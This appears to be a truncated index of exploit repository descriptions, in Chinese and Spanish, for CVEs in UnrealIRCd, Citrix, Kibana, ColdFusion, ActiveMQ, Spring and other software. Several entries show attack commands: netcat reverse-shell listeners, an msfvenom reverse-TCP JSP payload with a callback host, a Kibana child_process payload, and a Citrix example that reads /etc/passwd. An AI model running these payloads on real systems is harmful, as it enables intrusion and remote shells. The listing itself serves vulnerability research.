CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 后门 Bash PoC 描述 针对UnrealIRCd 3.2.8.1源码包中引入的后门的Bash PoC。被篡改的二进制文件会执行发送到IRC端口且以AB;为前缀的任意命令。 用法 chmod +x exploit.sh ./exploit.sh 示例： ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 运行前先设置监听器： nc -lvnp 4444 工作原理...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 此脚本提供了CVE-2024-21413的概念验证（PoC），这是Microsoft Outlook中发现的一个严重安全漏洞，CVSS评分为9.8。该漏洞被称为MonikerLink漏洞，具有深远的影响，包括可能泄露本地NTLM信息以及远程代码执行的可能性。此外，它强调了一种可能绕过Office受保护视图的攻击向量，从而将其威胁范围扩展至其他Office应用程序。 🚀 用法...

CVE-2025-29017

CVE-2025-29017 - Internet Banking System 2.0.0 通过头像上传实现远程代码执行 描述 Code Astro Internet Banking System 2.0.0 中存在一个远程代码执行（RCE）漏洞，该漏洞源于 pagesviewclient.php 中 profilepic 参数的文件上传验证不严格。攻击者可以通过修改上传请求绕过安全检查，从而实现任意代码执行。 受影响组件 pagesviewclient.php 中的 profilepic 参数 上传功能允许执行恶意 PHP 文件 利用步骤 1...

CVE-2024-10914

POC - CVE-2024–10914- Vulnerabilidad de Inyección de Comandos en el parámetro name para D-Link NAS Resumen Se encontró una vulnerabilidad en D-Link DNS-320, DNS-320LW, DNS-325 y DNS-340L hasta 20241028. Ha sido declarada como crítica. Afectada por esta vulnerabilidad es la función cgiuseradd del...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP 远程代码执行 ExternalizableHelper.class（来自 coherence.jar） 说明 项目基于 https://github.com/Y4er/CVE-2020-2555 和 weblogiccmd 已在 12.2.1.4.0 和 JDK 1.8.0221 上测试 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...

Exploits_CVE-2019-19781

远程代码执行漏洞利用（CVE-2019-19781）- Citrix Application Delivery Controller & Gateway 针对 Citrix Application Delivery Controller 和 Citrix Gateway 的远程代码执行漏洞利用 CVE-2019-19781 用法：bash CVE-2019-19781.sh 易受攻击主机IP 要执行的命令 例如：bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd' 利用零日漏洞的现场演示， 作者：./UnknowDevice64 参考：...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高级利用与硕士论文研究 -brightred 不可信数据反序列化 + React Server Components 中的原型污染 通过 Next.js Server Actions 实现未经认证的远程代码执行 受影响版本: React 19.0.0 - 19.2.0 · 补丁: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高级利用演示 - RCE基本命令、交互式Shell以及针对易受攻击的Next.js应用的多种攻击向量 描述 该仓库包含我关于 CVE-2025-55182 的 硕士论文...

CVE-2023-21716

CVE-2023-21716 — Microsoft Word RTF fonttbl 堆损坏远程代码执行漏洞 严重性: 严重 CVSS 9.8 受影响版本: Microsoft Word 2013 / 2016 / 2019 / 2021 未打补丁 补丁: 微软2023年2月补丁星期二 作者: REGGYRAIDER 漏洞概述 CVE-2023-21716 是 Microsoft Word 的 RTF 解析器 wwlib.dll 中的一个堆损坏漏洞。 当 Word 解析包含 超过 32 767 个字体条目 的 \fonttbl 指令时，一个内部的 有符号 16 位计数器会发生溢出...

CVE-2021-20837

CVE-2021-20837 XMLRPC - RCE en MovableTypePoC...

CVE-2021-43503

Advertencia La vulnerabilidad ha sido revocada Override Esto trata sobre CVE-2021-43503, no pude replicar esta vulnerabilidad a través de exp Requisitos PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604（Apache ActiveMQ）生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化，可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件，远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程，提供基础服务器来传输文件，并通过 POST...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 .es.propslabel.proto.env.AAAA='require"childprocess".exec"ba...

CVE-2009-2265

版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...

CVE-2022-22965-Spring4Shell

Spring4Shell Spring4Shell CVE-2022-22965 Prueba de Concepto con un servidor Tomcat vulnerable y una aplicación spring4shell vulnerable. Detalles sobre esta vulnerabilidad https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc...

CVE-2025-27363

CVE-2025-27363（适用于Chrome 113） 注意：在Chrome中，这并非新漏洞，已于2023年3月通过整合提交修复。此PoC仅针对Chrome无头模式。不过，如果你想探究某些内部原理并了解在slotsize极小时如何利用PartitionAlloc，我认为这会是一篇有趣的读物 xD 作者：Altin tin-z 环境： 提交 a7a083d Ubuntu 20/24 目录： 分析与利用文章 pocrce pocleak tests https://github.com/tin-z/PartitionAllocgdb PoC python fontgenPOC.py cp...

Liferay-CE-Portal-Java-Deserialization

Liferay-CE-Portal-Java-Deserialization 此仓库包含 Liferay CE Portal 远程代码执行漏洞的 PoC！ 有效载荷 我已在仓库中分享了有效载荷。你必须通过暴力破解方法找到正确的语法。我分享的有效载荷用于基于时间的概念验证（sleep 10）。应用程序可能并不总是输出命令。因此，在进行 PoC 时，你应该尝试基于时间的有效载荷。 概念验证 POST /api/liferay HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:72...

F5_RCE

使用 python3 f5rce.py -u 指定目标URL -f 批量检测文件 -c 执行命令 效果如下所示： PS：输出不够美感，我会修改的😁 问题 该poc目前只能支持部分命令，执行history , ls 等失败，原因未知 后续 更新：修改部分命令执行异常情况 1. 正则匹配，美化输出 2. 更新其他poc利用方式 引用 poc地址 脚本小子是如何复现漏洞CVE-2021-22986并实现批量利用...

CVE-2019-19781

CVE-2019-19781 适用于 Citrix Application Delivery Controller 和 Citrix Gateway 的远程代码执行漏洞利用程序 CVE-2019-19781 使用方法 : bash CVE-2019-19781.sh 目标主机IP 要执行的命令 例如 : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd' 参考： https://support.citrix.com/article/CTX267027...

CVE-2022-22965-Spring-Core-Rce

Spring-Core JDK9+ RCE 使用说明 ╰─ ./CVE-2022-22965 -h ─╯ 单个检测：./CVE-2022-22965 -u http://127.0.0.1:8080 批量检测：./CVE-2022-22965 -l url.txt 漏洞本地测试 0x01 docker镜像 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29 -it：开启输入功能并连接伪终端 -d： 后台运行容器...

CVE-2016-2098

CVE-2016-2098 当在用户提供的数据上使用 render 时，Ruby-on-Rails 中的远程代码执行漏洞。 说明： 此问题源于对用户提供的数据使用 render 方法。 render 方法通常用于从模板渲染页面，但 render 方法也允许开发者渲染纯文本（plaintext）甚至内联代码（inline）。 render 函数： File actionpack/lib/abstractcontroller/rendering.rb, line 23 def renderargs, &block options = normalizerenderargs, &block...